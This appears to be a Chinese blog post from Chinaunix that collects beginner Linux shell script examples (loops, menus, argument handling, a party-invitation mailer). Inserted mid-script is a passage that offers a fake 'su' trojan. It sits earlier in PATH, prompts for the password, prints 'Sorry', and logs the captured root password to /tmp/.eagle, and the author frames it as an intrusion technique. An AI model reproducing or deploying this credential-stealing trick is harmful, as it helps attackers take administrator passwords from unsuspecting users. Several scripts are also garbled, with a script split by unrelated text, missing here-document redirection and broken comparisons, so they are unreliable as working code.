Chinaunix首页 | 论坛 | 博客
  • 博客访问: 143272
  • 博文数量: 123
  • 博客积分: 5770
  • 博客等级: 大校
  • 技术积分: 1240
  • 用 户 组: 普通用户
  • 注册时间: 2010-02-12 16:31
个人简介

闲情逸致 http://EZ38.com

文章分类

全部博文(123)

文章存档

2014年(1)

2010年(122)

我的朋友
最近访客

分类: LINUX

2010-03-05 15:38:20

linux 下 shell 脚本实例
 

#! /bin/sh
echo "Current command is $0"
echo "The first parameter is $1"
echo "The second parameter is $2"
echo "The third parameter is $3"
echo "Total of parameters if $#"
echo "Current PID is $$"

#!/bin/bash
times=0
until [ "$times" = 3 ];
do
   echo "I love linux."
   sleep 2
   times=`expr $times + 1`
done
  
#!/bin/bash
# menu shell script.    samli     2004.4.19
until
   echo "List Directory..........1"
   echo "Change Directory........2"
   echo "Edit File...............3"
   echo "Remove File.............4"
   echo "Exit Menu...............5"

   read choice
   test $choice = 5
do
   case $choice in
             1) ls;;
             2) echo "enter target directory:"
             read dir
             cd $dir
             ;;
             3) echo "enter file name:"
             read file
             vi $file
             ;;
             4) echo "enter file name:"
             read file
             rm $file
             ;;
             5) echo "Goodbye"
             ;;
             *) echo "illegal option, please input again."
   esac
done

#! /bin/sh
var1="abcd   efg"
echo $var1
var2=1234
echo "The value of var2 is $var2"
echo   $HOME
echo   $PATH
echo   $PWD

#! /bin/sh
num=0
while [ $num -le 10 ]
do
num=`expr $num + 1`
   if [ $num -eq 5 ]
   then
             continue  
   fi
square=`expr $num \* $num`
echo $square
done

#!/bin/bash
# Gnu bash versions 2.x
# The Party Program--Invitations to friends from the
# "guest" file
guestfile=./guests   #   ~/shell/guests
if [[ ! -e "$guestfile" ]]
then
   printf "${guestfile##*/} non-existent"
   exit 1
fi

shell脚本实例

shell是unix里的很强大的外壳命令解释器,它同时也是一个编译器,shell脚本语言也是强大的编程语言。

我以一个很简单的小伎俩来说明shell在入侵中的作用,呵呵。假设我们有一个系统的普通帐号(它可能是你通过猜密码,或脆弱密码得来的),利用su程序得到管理员密码,呵呵,就是通过一个简单的脚本实现。

我们知道,在unix系统中,命令的路径信息一般保存在环境变量PATH中。如果/usr/local/bin目录和/bin目录中各有一个su命令,在PATH变量中,第一个目录在前面,第二个目录在后面,此时执行不带路径的su命令(一般的管理员都会su而不会/bin/su,如果真有这么细心的管理员,那你就用别的方法了),将启动同名的非系统su命令,而不是系统管理员需要的系统su命令,那第一个su就是我写的脚本,也可以说是一个“特洛伊”。

好,切入正题!我写一个脚本,名称是su,我把它放到/usr/local/bin目录中,以下是脚本内容。

#! /bin/sh

stty-echo

echo -n "Password:"

read PASSWD

stty echo

echo

echo "Sorry"

echo "$1/$2:$PASSWD">>/tmp/.eagle

呵呵,懂了?其实有很多网友都问我有没有unix下的木马啊后门程序什么的,呵呵,我是说不出来,看,上面不就是吗?unix的木马就要靠你对系统和shell的熟悉,自己创造,对自己水平的挑战,怎么样?比当个冰河难吧?但你真能学到东西。


export PLACE="Sarotini's"
(( Time=$(date +%H) + 1 ))
set cheese crackers shrimp drinks "hot dogs" sandwiches
for person in $(cat $guestfile)
do
   if   [[ $person = root ]]
   then
             continue
   else
             # Start of here document
             mail -v -s "Party" $person
             Hi ${person}! Please join me at $PLACE for a party!
             Meet me at $Time o'clock.
             I'll bring the ice cream. Would you please bring $1
             and anything else you would like to eat? Let me know
             if you can't make it.
                  Hope to see you soon.
                        Your pal,
                        ellie@$(hostname)
             FINIS
             shift
             if (( $# ==   0 ))
             then
                  set cheese crackers shrimp drinks "hot dogs" sandwiches
             fi
       fi
done             
printf "Bye..."

#!/bin/sh
# Standard AT&T Bourne Shell
# The Party Program--Invitations to friends from the
# "guest" file
guestfile=./guests # /home/ellie/shell/guests
if [ ! -f "$guestfile" ]
then
   echo "慴asename $guestfile?non-existent"
   exit 1
fi
PLACE="Sarotini's"
export PLACE
Time=`date +%H`
Time=`expr $Time + 1`
set cheese crackers shrimp drinks "hot dogs" sandwiches
for person in $(cat $guestfile)
do
   if   [ $person = root ]]
   then
             continue
   else
             # Start of here document
             mail -v -s "Party" $person
             Hi $person! Please join me at $PLACE for a party!
             Meet me at $Time o'clock.
             I'll bring the ice cream. Would you please bring $1
             and anything else you would like to eat? Let me know
             if you can't                                make it.
                  Hope to see you soon.
                        Your pal,
                        ellie@`hostname`
             FINIS
             shift
             if [ $# -eq   0 ]
             then
                  set cheese crackers shrimp drinks "hot dogs" sandwiches
             fi
       fi
done             
echo "Bye..."


#!/bin/sh
# Scriptname: args
# Script to test command line arguments
echo The name of this script is $0.
echo The arguments are $*.
echo The first argument is $1.
echo The second argument is $2.
echo The number of arguments is $#.
oldargs=$*
set Jake Nicky Scott                    # reset the positional parameters
echo All the positional parameters are $*.
echo The number of postional parameters is $#.
echo "Good~Vbye for now, $1 "
set $(date)                       #   reset the positional parameters
echo The date is $2 $3, $6.
echo "The value of \$oldargs is $oldargs."
set $oldargs
echo $1 $2 $3
# Name: bigfiles
# Purpose: Use the find command to find any files in the root
# partition that have not been modified within the past n (any
# number within 30 days) days and are larger than 20 blocks
# (512 byte blocks)

if (( $# != 2 )) #   or     [ $# -ne 2 ]
then
echo   "Usage: $0 mdays size " 1>&2
exit 1
fi
if (( $1 0 || $1 > 30 )) #   or   [ $1 -lt 0 -o $1 -gt 30 ]
then
echo "mdays is out of range"
exit 2
fi
if (( $2 # or   [ $2 -le 20 ]
then
echo "size is out of range"
exit 3
fi
find / -xdev -mtime $1 -size +$2

#!/bin/bash
# Scriptname: checker
# Script to demonstrate the use of special variable
# modifiers and arguments
name=${1:?"requires an argument" }
echo Hello $name
#!/bin/bash
# This is the first Bash shell program of the day.
# Scriptname: greetings
# Written by:   Barbara Bashful
echo "Hello $LOGNAME, it's nice talking to you."
echo "Your present working directory is `pwd`."
echo "You are working on a machine called `uname -n`."
echo "Here is a list of your files."
ls    # list files in the present working directory
echo   "Bye for now $LOGNAME. The time is `date +%T`!"
#!/bin/bash
# Scriptname: greetings2
echo "This script is called $0."
echo   "$0   $1 and $2"
echo "The number of positional parameters is $#"
#!/bin/bash
# Scriptname: idcheck
# purpose:check user id to see if user is root.
# Only root has a uid of 0.
# Format for id output:uid=9496(ellie) gid=40 groups=40
# root's uid=0

id=`id | gawk -F'[=(]'   '{print $2}'`     # get user id
echo your user id is:   $id
if   (( id == 0 )) # or [ $id -eq 0 ]
then
echo "you are superuser."
else
echo "you are not superuser."
fi

阅读(375) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~